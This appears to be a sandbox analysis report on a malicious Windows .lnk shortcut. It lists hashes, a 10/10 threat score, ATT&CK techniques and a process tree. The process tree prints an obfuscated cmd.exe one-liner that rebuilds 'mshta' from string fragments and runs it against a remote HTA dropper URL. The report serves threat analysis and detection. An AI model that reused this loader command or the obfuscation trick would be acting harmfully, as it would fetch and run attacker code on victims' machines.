5863bbf4fe38fa4b2b7a86e11559e949363f9fb736aff060b6258ffe4d501f02

Analysis

max time kernel
148s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:31

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General

Target
DOC-KLJP7M.lnk
Size 2KB
Sample260804-keytjsbk5x
SHA256 5863bbf4fe38fa4b2b7a86e11559e949363f9fb736aff060b6258ffe4d501f02
MD5 eb32591c3147a0dbd234a8bc9580efda
SHA1 5a53b7eaef312e4a26dfb895b05d25b51b08fe5c
SHA512 8a0d8d31adaf72fd90f854c9ff55b21e3488e7bcd59db4837e7a1ba219a7ba610965b5477f29db0dfb9a6c4c8b8005a2e56cda6f0295d27ff12c5c65a6b0581e
TLSH
T16A515A902AE951A8F2FB8F32FDFE274559BB79912DA4C68D4C80814D0832B01D5B7B67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4324	cmd.exe
3420	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4324 wrote to memory of 3420	4324	cmd.exe	90
PID 3420 wrote to memory of 3328	3420	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-KLJP7M.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4324
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /V:on /C "set Op=oldarvjxrvmhlssiold&&set SlmZw=oldmbhdciydretaold&&set VInZ=oldbxlhlkeffaaujzukold&&set uDPrq=datnotgtaodat&&set MtUVT=bakrosbbxnadltmfttabak&&set rFq=syskvpsdxsys&&set IiQs=infknfberhdibzrbiinf&&set kiw=sysblwjlmjywjwlqnjobuhsttdsys&&set IQFU=cfgacgabwidofnvqkqicfg&&set UpZs=netmcswgapqecvtuznet&&set QAL=xesrs&&set PkpKQ=ttartz31&&set iV=netcqwyzvefnet&&set mWvN=7ms72&&set hnqb=460hz&&set ochf=cf0ta6&&set ZjzP=winnohrgaouvtmzrewin&&set Eqy=https://@m@a@[email protected]@at/@h/es@t@agi@o1.@ph@p?r=39146@9FB5D82@D@B&&start /b !mWvN:~1,2!!hnqb:~3,1!!ochf:~3,2! !Eqy:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3420
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:3328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads